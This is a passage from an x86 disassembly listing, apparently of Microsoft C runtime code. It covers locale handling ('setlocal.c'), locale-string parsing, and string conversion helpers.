; sub_422DF0+43j pop ebp retn sub_422DF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E50 proc near ; CODE XREF: sub_4229E0+2Fp ; sub_422BC0+7Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jz short loc_422E7C mov eax, [ebp+arg_0] push eax call sub_418E70 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] add edx, [ebp+arg_4] push edx call sub_426C00 add esp, 0Ch loc_422E7C: ; CODE XREF: sub_422E50+7j pop ebp retn sub_422E50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E80 proc near ; CODE XREF: sub_41A3E0+1Ep ; sub_41B720+2Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_422F30 mov ecx, [ebp+arg_0] mov [eax], ecx mov [ebp+var_4], 0 jmp short loc_422EA0 ; --------------------------------------------------------------------------- loc_422E97: ; CODE XREF: sub_422E80:loc_422EC8j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_422EA0: ; CODE XREF: sub_422E80+15j cmp [ebp+var_4], 2Dh jnb short loc_422ECA mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] cmp ecx, dword_443218[eax*8] jnz short loc_422EC8 call sub_422F20 mov edx, [ebp+var_4] mov ecx, dword_44321C[edx*8] mov [eax], ecx jmp short loc_422F0D ; --------------------------------------------------------------------------- loc_422EC8: ; CODE XREF: sub_422E80+33j jmp short loc_422E97 ; --------------------------------------------------------------------------- loc_422ECA: ; CODE XREF: sub_422E80+24j cmp [ebp+arg_0], 13h jb short loc_422EE3 cmp [ebp+arg_0], 24h ja short loc_422EE3 call sub_422F20 mov dword ptr [eax], 0Dh jmp short loc_422F0D ; --------------------------------------------------------------------------- loc_422EE3: ; CODE XREF: sub_422E80+4Ej ; sub_422E80+54j cmp [ebp+arg_0], 0BCh jb short loc_422F02 cmp [ebp+arg_0], 0CAh ja short loc_422F02 call sub_422F20 mov dword ptr [eax], 8 jmp short loc_422F0D ; --------------------------------------------------------------------------- loc_422F02: ; CODE XREF: sub_422E80+6Aj ; sub_422E80+73j call sub_422F20 mov dword ptr [eax], 16h loc_422F0D: ; CODE XREF: sub_422E80+46j ; sub_422E80+61j ... mov esp, ebp pop ebp retn sub_422E80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F20 proc near ; CODE XREF: sub_41A3E0+3Fp ; sub_41A870:loc_41AB42p ... push ebp mov ebp, esp call sub_41FA10 add eax, 8 pop ebp retn sub_422F20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F30 proc near ; CODE XREF: sub_41A3E0+4Ap ; sub_41C930+4Ep ... push ebp mov ebp, esp call sub_41FA10 add eax, 0Ch pop ebp retn sub_422F30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F40 proc near ; CODE XREF: sub_41A5E0+11Ep ; sub_41A5E0+16Fp ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_433020 push offset sub_425F84 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp+var_18], esp cmp dword_492158, 0 jnz short loc_422FC6 push 0 push 0 push 1 push offset dword_43301C push 100h push 0 call ds:dword_494478 test eax, eax jz short loc_422F97 mov dword_492158, 1 jmp short loc_422FC6 ; --------------------------------------------------------------------------- loc_422F97: ; CODE XREF: sub_422F40+49j push 0 push 0 push 1 push offset dword_433018 push 100h push 0 call ds:dword_494474 test eax, eax jz short loc_422FBF mov dword_492158, 2 jmp short loc_422FC6 ; --------------------------------------------------------------------------- loc_422FBF: ; CODE XREF: sub_422F40+71j xor eax, eax jmp loc_423231 ; --------------------------------------------------------------------------- loc_422FC6: ; CODE XREF: sub_422F40+2Dj ; sub_422F40+55j ... cmp [ebp+arg_C], 0 jle short loc_422FDF mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_423250 add esp, 8 mov [ebp+arg_C], eax loc_422FDF: ; CODE XREF: sub_422F40+8Aj cmp dword_492158, 2 jnz short loc_42300B mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_494474 jmp loc_423231 ; --------------------------------------------------------------------------- loc_42300B: ; CODE XREF: sub_422F40+A6j cmp dword_492158, 1 jnz loc_42322F cmp [ebp+arg_18], 0 jnz short loc_423027 mov edx, dword_492180 mov [ebp+arg_18], edx loc_423027: ; CODE XREF: sub_422F40+DCj push 0 push 0 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_1C] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+arg_18] push eax call ds:dword_4942D4 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_42305B xor eax, eax jmp loc_423231 ; --------------------------------------------------------------------------- loc_42305B: ; CODE XREF: sub_422F40+112j mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_418D40 mov [ebp+var_30], esp mov [ebp+var_18], esp mov ecx, [ebp+var_30] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42309D ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_42309D: ; CODE XREF: sub_422F40+144j cmp [ebp+var_24], 0 jnz short loc_4230AA xor eax, eax jmp loc_423231 ; --------------------------------------------------------------------------- loc_4230AA: ; CODE XREF: sub_422F40+161j mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 1 mov eax, [ebp+arg_18] push eax call ds:dword_4942D4 test eax, eax jnz short loc_4230D1 xor eax, eax jmp loc_423231 ; --------------------------------------------------------------------------- loc_4230D1: ; CODE XREF: sub_422F40+188j push 0 push 0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_494478 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_4230FB xor eax, eax jmp loc_423231 ; --------------------------------------------------------------------------- loc_4230FB: ; CODE XREF: sub_422F40+1B2j mov edx, [ebp+arg_4] and edx, 400h test edx, edx jz short loc_42314B cmp [ebp+arg_14], 0 jz short loc_423146 mov eax, [ebp+var_28] cmp eax, [ebp+arg_14] jle short loc_42311D xor eax, eax jmp loc_423231 ; --------------------------------------------------------------------------- loc_42311D: ; CODE XREF: sub_422F40+1D4j mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_494478 test eax, eax jnz short loc_423146 xor eax, eax jmp loc_423231 ; --------------------------------------------------------------------------- loc_423146: ; CODE XREF: sub_422F40+1CCj ; sub_422F40+1FDj jmp loc_42322A ; --------------------------------------------------------------------------- loc_42314B: ; CODE XREF: sub_422F40+1C6j mov ecx, [ebp+var_28] mov [ebp+var_2C], ecx mov [ebp+var_4], 1 mov eax, [ebp+var_2C] shl eax, 1 add eax, 3 and al, 0FCh call sub_418D40 mov [ebp+var_34], esp mov [ebp+var_18], esp mov edx, [ebp+var_34] mov [ebp+var_20], edx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_423193 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_423193: ; CODE XREF: sub_422F40+23Aj cmp [ebp+var_20], 0 jnz short loc_4231A0 xor eax, eax jmp loc_423231 ; --------------------------------------------------------------------------- loc_4231A0: ; CODE XREF: sub_422F40+257j mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call ds:dword_494478 test eax, eax jnz short loc_4231C6 xor eax, eax jmp short loc_423231 ; --------------------------------------------------------------------------- loc_4231C6: ; CODE XREF: sub_422F40+280j cmp [ebp+arg_14], 0 jnz short loc_4231FA push 0 push 0 push 0 push 0 mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_20] push ecx push 220h mov edx, [ebp+arg_18] push edx call ds:dword_4943B0 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_4231F8 xor eax, eax jmp short loc_423231 ; --------------------------------------------------------------------------- loc_4231F8: ; CODE XREF: sub_422F40+2B2j jmp short loc_42322A ; --------------------------------------------------------------------------- loc_4231FA: ; CODE XREF: sub_422F40+28Aj push 0 push 0 mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_20] push eax push 220h mov ecx, [ebp+arg_18] push ecx call ds:dword_4943B0 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_42322A xor eax, eax jmp short loc_423231 ; --------------------------------------------------------------------------- loc_42322A: ; CODE XREF: sub_422F40:loc_423146j ; sub_422F40:loc_4231F8j ... mov eax, [ebp+var_28] jmp short loc_423231 ; --------------------------------------------------------------------------- loc_42322F: ; CODE XREF: sub_422F40+D2j xor eax, eax loc_423231: ; CODE XREF: sub_422F40+81j ; sub_422F40+C6j ... lea esp, [ebp-40h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_422F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423250 proc near ; CODE XREF: sub_422F40+94p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_423262: ; CODE XREF: sub_423250+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_423287 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_423287 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_423262 ; --------------------------------------------------------------------------- loc_423287: ; CODE XREF: sub_423250+20j ; sub_423250+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_423299 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_42329C ; --------------------------------------------------------------------------- loc_423299: ; CODE XREF: sub_423250+3Fj mov eax, [ebp+arg_4] loc_42329C: ; CODE XREF: sub_423250+47j mov esp, ebp pop ebp retn sub_423250 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0B0h cmp dword ptr [ebp+8], 0 jl short loc_4232B5 cmp dword ptr [ebp+8], 5 jle short loc_4232BC loc_4232B5: ; CODE XREF: .text:004232ADj xor eax, eax jmp loc_42368B ; --------------------------------------------------------------------------- loc_4232BC: ; CODE XREF: .text:004232B3j push 13h call sub_41BC90 add esp, 4 mov dword ptr [ebp-4], 1 mov eax, dword_492748 add eax, 1 mov dword_492748, eax loc_4232DA: ; CODE XREF: .text:004232EBj cmp dword_49274C, 0 jz short loc_4232ED push 1 call ds:dword_4942D8 jmp short loc_4232DA ; --------------------------------------------------------------------------- loc_4232ED: ; CODE XREF: .text:004232E1j cmp dword ptr [ebp+8], 0 jz short loc_423331 cmp dword ptr [ebp+0Ch], 0 jz short loc_423311 mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_423690 add esp, 8 mov [ebp-0A8h], eax jmp short loc_423323 ; --------------------------------------------------------------------------- loc_423311: ; CODE XREF: .text:004232F7j mov eax, [ebp+8] imul eax, 0Ch mov ecx, dword_443494[eax] mov [ebp-0A8h], ecx loc_423323: ; CODE XREF: .text:0042330Fj mov edx, [ebp-0A8h] mov [ebp-8], edx jmp loc_42366B ; --------------------------------------------------------------------------- loc_423331: ; CODE XREF: .text:004232F1j mov dword ptr [ebp-14h], 1 mov dword ptr [ebp-0Ch], 0 cmp dword ptr [ebp+0Ch], 0 jz loc_423663 mov eax, [ebp+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 4Ch jnz loc_423574 mov edx, [ebp+0Ch] movsx eax, byte ptr [edx+1] cmp eax, 43h jnz loc_423574 mov ecx, [ebp+0Ch] movsx edx, byte ptr [ecx+2] cmp edx, 5Fh jnz loc_423574 mov eax, [ebp+0Ch] mov [ebp-9Ch], eax loc_423381: ; CODE XREF: .text:00423543j push offset asc_43307C ; "=;" mov ecx, [ebp-9Ch] push ecx call sub_42AC80 add esp, 8 mov [ebp-0A0h], eax cmp dword ptr [ebp-0A0h], 0 jz short loc_4233CD mov edx, [ebp-0A0h] sub edx, [ebp-9Ch] mov [ebp-0A4h], edx cmp dword ptr [ebp-0A4h], 0 jz short loc_4233CD mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jnz short loc_4233F3 loc_4233CD: ; CODE XREF: .text:004233A2j ; .text:004233BDj cmp dword ptr [ebp-4], 0 jz short loc_4233EC push 13h call sub_41BD30 add esp, 4 mov edx, dword_492748 sub edx, 1 mov dword_492748, edx loc_4233EC: ; CODE XREF: .text:004233D1j xor eax, eax jmp loc_42368B ; --------------------------------------------------------------------------- loc_4233F3: ; CODE XREF: .text:004233CBj mov dword ptr [ebp-10h], 1 jmp short loc_423405 ; --------------------------------------------------------------------------- loc_4233FC: ; CODE XREF: .text:loc_423451j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_423405: ; CODE XREF: .text:004233FAj cmp dword ptr [ebp-10h], 5 jg short loc_423453 mov ecx, [ebp-0A4h] push ecx mov edx, [ebp-9Ch] push edx mov eax, [ebp-10h] imul eax, 0Ch mov ecx, off_443490[eax] push ecx call sub_41B790 add esp, 0Ch test eax, eax jnz short loc_423451 mov edx, [ebp-10h] imul edx, 0Ch mov eax, off_443490[edx] push eax call sub_418E70 add esp, 4 cmp [ebp-0A4h], eax jnz short loc_423451 jmp short loc_423453 ; --------------------------------------------------------------------------- loc_423451: ; CODE XREF: .text:00423430j ; .text:0042344Dj jmp short loc_4233FC ; --------------------------------------------------------------------------- loc_423453: ; CODE XREF: .text:00423409j ; .text:0042344Fj push offset asc_433078 ; ";" mov ecx, [ebp-0A0h] add ecx, 1 mov [ebp-0A0h], ecx mov edx, [ebp-0A0h] push edx call sub_42AC40 add esp, 8 mov [ebp-0A4h], eax cmp dword ptr [ebp-0A4h], 0 jnz short loc_4234B9 mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jz short loc_4234B9 cmp dword ptr [ebp-4], 0 jz short loc_4234B2 push 13h call sub_41BD30 add esp, 4 mov edx, dword_492748 sub edx, 1 mov dword_492748, edx loc_4234B2: ; CODE XREF: .text:00423497j xor eax, eax jmp loc_42368B ; --------------------------------------------------------------------------- loc_4234B9: ; CODE XREF: .text:00423483j ; .text:00423491j cmp dword ptr [ebp-10h], 5 jg short loc_42350A mov eax, [ebp-0A4h] push eax mov ecx, [ebp-0A0h] push ecx lea edx, [ebp-98h] push edx call sub_4191A0 add esp, 0Ch mov eax, [ebp-0A4h] mov byte ptr [ebp+eax-98h], 0 lea ecx, [ebp-98h] push ecx mov edx, [ebp-10h] push edx call sub_423690 add esp, 8 test eax, eax jz short loc_42350A mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_42350A: ; CODE XREF: .text:004234BDj ; .text:004234FFj mov ecx, [ebp-0A0h] add ecx, [ebp-0A4h] mov [ebp-9Ch], ecx mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jz short loc_423538 mov ecx, [ebp-9Ch] add ecx, 1 mov [ebp-9Ch], ecx loc_423538: ; CODE XREF: .text:00423527j mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jnz loc_423381 cmp dword ptr [ebp-0Ch], 0 jz short loc_42355C call sub_423830 mov [ebp-0ACh], eax jmp short loc_423566 ; --------------------------------------------------------------------------- loc_42355C: ; CODE XREF: .text:0042354Dj mov dword ptr [ebp-0ACh], 0 loc_423566: ; CODE XREF: .text:0042355Aj mov ecx, [ebp-0ACh] mov [ebp-8], ecx jmp loc_423661 ; --------------------------------------------------------------------------- loc_423574: ; CODE XREF: .text:00423352j ; .text:00423362j ... mov edx, [ebp+8] push edx push 0 push 0 lea eax, [ebp-98h] push eax mov ecx, [ebp+0Ch] push ecx call sub_423930 add esp, 14h mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_423661 mov dword ptr [ebp-10h], 0 jmp short loc_4235AE ; --------------------------------------------------------------------------- loc_4235A5: ; CODE XREF: .text:loc_42360Ej mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_4235AE: ; CODE XREF: .text:004235A3j cmp dword ptr [ebp-10h], 5 jg short loc_423610 cmp dword ptr [ebp-10h], 0 jz short loc_42360E mov eax, [ebp-10h] imul eax, 0Ch mov ecx, dword_443494[eax] push ecx lea edx, [ebp-98h] push edx call sub_419360 add esp, 8 test eax, eax jz short loc_423605 lea eax, [ebp-98h] push eax mov ecx, [ebp-10h] push ecx call sub_423690 add esp, 8 test eax, eax jz short loc_4235FC mov edx, [ebp-0Ch] add edx, 1 mov [ebp-0Ch], edx jmp short loc_423603 ; --------------------------------------------------------------------------- loc_4235FC: ; CODE XREF: .text:004235EFj mov dword ptr [ebp-14h], 0 loc_423603: ; CODE XREF: .text:004235FAj jmp short loc_42360E ; --------------------------------------------------------------------------- loc_423605: ; CODE XREF: .text:004235D8j mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_42360E: ; CODE XREF: .text:004235B8j ; .text:loc_423603j jmp short loc_4235A5 ; --------------------------------------------------------------------------- loc_423610: ; CODE XREF: .text:004235B2j cmp dword ptr [ebp-14h], 0 jz short loc_42363B call sub_423830 mov [ebp-8], eax push 2 mov ecx, dword_443494 push ecx call sub_4174C0 add esp, 8 mov dword_443494, 0 jmp short loc_423661 ; --------------------------------------------------------------------------- loc_42363B: ; CODE XREF: .text:00423614j cmp dword ptr [ebp-0Ch], 0 jz short loc_42364E call sub_423830 mov [ebp-0B0h], eax jmp short loc_423658 ; --------------------------------------------------------------------------- loc_42364E: ; CODE XREF: .text:0042363Fj mov dword ptr [ebp-0B0h], 0 loc_423658: ; CODE XREF: .text:0042364Cj mov edx, [ebp-0B0h] mov [ebp-8], edx loc_423661: ; CODE XREF: .text:0042356Fj ; .text:00423596j ... jmp short loc_42366B ; --------------------------------------------------------------------------- loc_423663: ; CODE XREF: .text:00423343j call sub_423830 mov [ebp-8], eax loc_42366B: ; CODE XREF: .text:0042332Cj ; .text:loc_423661j cmp dword ptr [ebp-4], 0 jz short loc_423688 push 13h call sub_41BD30 add esp, 4 mov eax, dword_492748 sub eax, 1 mov dword_492748, eax loc_423688: ; CODE XREF: .text:0042366Fj mov eax, [ebp-8] loc_42368B: ; CODE XREF: .text:004232B7j ; .text:004233EEj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423690 proc near ; CODE XREF: .text:00423301p ; .text:004234F5p ... var_A8 = dword ptr -0A8h var_A0 = dword ptr -0A0h var_9C = byte ptr -9Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_A0] push ecx lea edx, [ebp+var_A8] push edx lea eax, [ebp+var_9C] push eax mov ecx, [ebp+arg_4] push ecx call sub_423930 add esp, 14h test eax, eax jnz short loc_4236C9 xor eax, eax jmp loc_42381F ; --------------------------------------------------------------------------- loc_4236C9: ; CODE XREF: sub_423690+30j push 132h push offset aSetlocal_c ; "setlocal.c" push 2 lea edx, [ebp+var_9C] push edx call sub_418E70 add esp, 4 add eax, 1 push eax call sub_416A30 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_423700 xor eax, eax jmp loc_42381F ; --------------------------------------------------------------------------- loc_423700: ; CODE XREF: sub_423690+67j mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, dword_443494[eax] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, dword_492168[edx*4] mov [ebp+var_4], eax push 6 mov ecx, [ebp+arg_0] imul ecx, 6 add ecx, offset dword_4922E4 push ecx lea edx, [ebp+var_14] push edx call sub_418A00 add esp, 0Ch mov eax, dword_492180 mov [ebp+var_18], eax lea ecx, [ebp+var_9C] push ecx mov edx, [ebp+var_8] push edx call sub_419FA0 add esp, 8 mov ecx, [ebp+arg_0] imul ecx, 0Ch mov dword_443494[ecx], eax mov edx, [ebp+var_A8] and edx, 0FFFFh mov eax, [ebp+arg_0] mov dword_492168[eax*4], edx push 6 lea ecx, [ebp+var_A8] push ecx mov edx, [ebp+arg_0] imul edx, 6 add edx, offset dword_4922E4 push edx call sub_418A00 add esp, 0Ch cmp [ebp+arg_0], 2 jnz short loc_4237A3 mov eax, [ebp+var_A0] mov dword_492180, eax loc_4237A3: ; CODE XREF: sub_423690+106j cmp [ebp+arg_0], 1 jnz short loc_4237B5 mov ecx, [ebp+var_A0] mov dword_492184, ecx loc_4237B5: ; CODE XREF: sub_423690+117j mov edx, [ebp+arg_0] imul edx, 0Ch call off_443498[edx] test eax, eax jz short loc_4237FC mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, [ebp+var_C] mov dword_443494[eax], ecx push 2 mov edx, [ebp+var_8] push edx call sub_4174C0 add esp, 8 mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dword_492168[eax*4], ecx mov edx, [ebp+var_18] mov dword_492180, edx xor eax, eax jmp short loc_42381F ; --------------------------------------------------------------------------- loc_4237FC: ; CODE XREF: sub_423690+133j cmp [ebp+var_C], offset dword_443380 jz short loc_423813 push 2 mov eax, [ebp+var_C] push eax call sub_4174C0 add esp, 8 loc_423813: ; CODE XREF: sub_423690+173j mov ecx, [ebp+arg_0] imul ecx, 0Ch mov eax, dword_443494[ecx] loc_42381F: ; CODE XREF: sub_423690+34j ; sub_423690+6Bj ... mov esp, ebp pop ebp retn sub_423690 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423830 proc near ; CODE XREF: .text:0042354Fp ; .text:00423616p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 1 cmp dword_443494, 0 jnz short loc_423864 push 167h push offset aSetlocal_c ; "setlocal.c" push 2 push 351h call sub_416A30 add esp, 10h mov dword_443494, eax loc_423864: ; CODE XREF: sub_423830+14j mov eax, dword_443494 mov byte ptr [eax], 0 mov [ebp+var_4], 1 jmp short loc_42387E ; --------------------------------------------------------------------------- loc_423875: ; CODE XREF: sub_423830:loc_423927j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42387E: ; CODE XREF: sub_423830+43j mov edx, [ebp+var_4] imul edx, 0Ch mov eax, dword_443494[edx] push eax push offset asc_43308C ; "=" mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, off_443490[ecx] push edx push 3 mov eax, dword_443494 push eax call sub_423AD0 add esp, 14h cmp [ebp+var_4], 5 jge short loc_4238F9 push offset asc_433078 ; ";" mov ecx, dword_443494 push ecx call sub_419FB0 add esp, 8 mov edx, [ebp+var_4] add edx, 1 imul edx, 0Ch mov eax, dword_443494[edx] push eax mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, dword_443494[ecx] push edx call sub_419360 add esp, 8 test eax, eax jz short loc_4238F7 mov [ebp+var_8], 0 loc_4238F7: ; CODE XREF: sub_423830+BEj jmp short loc_423927 ; --------------------------------------------------------------------------- loc_4238F9: ; CODE XREF: sub_423830+81j cmp [ebp+var_8], 0 jnz short loc_423906 mov eax, dword_443494 jmp short loc_42392C ; --------------------------------------------------------------------------- loc_423906: ; CODE XREF: sub_423830+CDj push 2 mov eax, dword_443494 push eax call sub_4174C0 add esp, 8 mov dword_443494, 0 mov eax, off_4434AC jmp short loc_42392C ; --------------------------------------------------------------------------- loc_423927: ; CODE XREF: sub_423830:loc_4238F7j jmp loc_423875 ; --------------------------------------------------------------------------- loc_42392C: ; CODE XREF: sub_423830+D4j ; sub_423830+F5j mov esp, ebp pop ebp retn sub_423830 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423930 proc near ; CODE XREF: .text:00423587p ; sub_423690+26p var_88 = byte ptr -88h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 88h cmp [ebp+arg_0], 0 jnz short loc_423946 xor eax, eax jmp loc_423AB0 ; --------------------------------------------------------------------------- loc_423946: ; CODE XREF: sub_423930+Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 43h jnz short loc_4239A0 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+1] test eax, eax jnz short loc_4239A0 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 43h mov edx, [ebp+arg_4] mov byte ptr [edx+1], 0 cmp [ebp+arg_8], 0 jz short loc_423989 mov eax, [ebp+arg_8] mov word ptr [eax], 0 mov ecx, [ebp+arg_8] mov word ptr [ecx+2], 0 mov edx, [ebp+arg_8] mov word ptr [edx+4], 0 loc_423989: ; CODE XREF: sub_423930+3Dj cmp [ebp+arg_C], 0 jz short loc_423998 mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_423998: ; CODE XREF: sub_423930+5Dj mov eax, [ebp+arg_4] jmp loc_423AB0 ; --------------------------------------------------------------------------- loc_4239A0: ; CODE XREF: sub_423930+1Fj ; sub_423930+2Aj mov ecx, [ebp+arg_0] push ecx push offset dword_443408 call sub_419360 add esp, 8 test eax, eax jz loc_423A68 mov edx, [ebp+arg_0] push edx push offset dword_443384 call sub_419360 add esp, 8 test eax, eax jz loc_423A68 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_88] push ecx call sub_423B20 add esp, 8 test eax, eax jz short loc_4239F0 xor eax, eax jmp loc_423AB0 ; --------------------------------------------------------------------------- loc_4239F0: ; CODE XREF: sub_423930+B7j lea edx, [ebp+var_88] push edx push offset dword_49215C lea eax, [ebp+var_88] push eax call sub_42ACC0 add esp, 0Ch test eax, eax jnz short loc_423A16 xor eax, eax jmp loc_423AB0 ; --------------------------------------------------------------------------- loc_423A16: ; CODE XREF: sub_423930+DDj xor ecx, ecx mov cx, word_492160 mov dword_492164, ecx lea edx, [ebp+var_88] push edx push offset dword_443408 call sub_423C80 add esp, 8 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_423A56 mov edx, [ebp+arg_0] push edx push offset dword_443384 call sub_419FA0 add esp, 8 jmp short loc_423A68 ; --------------------------------------------------------------------------- loc_423A56: ; CODE XREF: sub_423930+111j push offset dword_443408 push offset dword_443384 call sub_419FA0 add esp, 8 loc_423A68: ; CODE XREF: sub_423930+83j ; sub_423930+9Cj ... cmp [ebp+arg_8], 0 jz short loc_423A81 push 6 push offset dword_49215C mov eax, [ebp+arg_8] push eax call sub_418A00 add esp, 0Ch loc_423A81: ; CODE XREF: sub_423930+13Cj cmp [ebp+arg_C], 0 jz short loc_423A9A push 4 push offset dword_492164 mov ecx, [ebp+arg_C] push ecx call sub_418A00 add esp, 0Ch loc_423A9A: ; CODE XREF: sub_423930+155j push offset dword_443408 mov edx, [ebp+arg_4] push edx call sub_419FA0 add esp, 8 mov eax, offset dword_443408 loc_423AB0: ; CODE XREF: sub_423930+11j ; sub_423930+6Bj ... mov esp, ebp pop ebp retn sub_423930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423AC0 proc near ; CODE XREF: sub_423690+12Bp ; DATA XREF: .data:off_443498o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_423AC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423AD0 proc near ; CODE XREF: sub_423830+75p ; sub_423C80+30p ... var_8 = dword ptr -8 var_4 = 